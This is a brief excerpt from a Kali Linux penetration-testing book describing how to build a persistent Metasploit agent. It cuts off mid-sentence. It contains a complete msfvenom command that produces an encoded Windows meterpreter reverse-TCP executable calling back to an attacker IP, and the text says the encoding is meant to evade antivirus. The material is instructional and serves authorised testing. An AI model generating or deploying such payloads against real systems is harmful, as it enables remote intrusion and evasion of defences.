Mastering Kali Linux for Advanced Penetration Testing - Third Edition

Creating a standalone persistent agent with Metasploit

The Metasploit framework can be used to create a standalone executable that can persist on a compromised system and allow interactive communications. The advantage of a standalone package is that it can be prepared and tested in advance to ensure connectivity, and encoded to bypass local antivirus software:

1. To make a simple standalone agent, use msfvenom. In the example shown in the following screenshot, the agent is configured to use a reverse_tcp shell that will connect to the localhost at the attacker's IP on port 443:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=192.168.0.109 lport=443 -e x86/shikata_ga_nai -i 5 -f exe -o attack1.exe

The agent, named  ...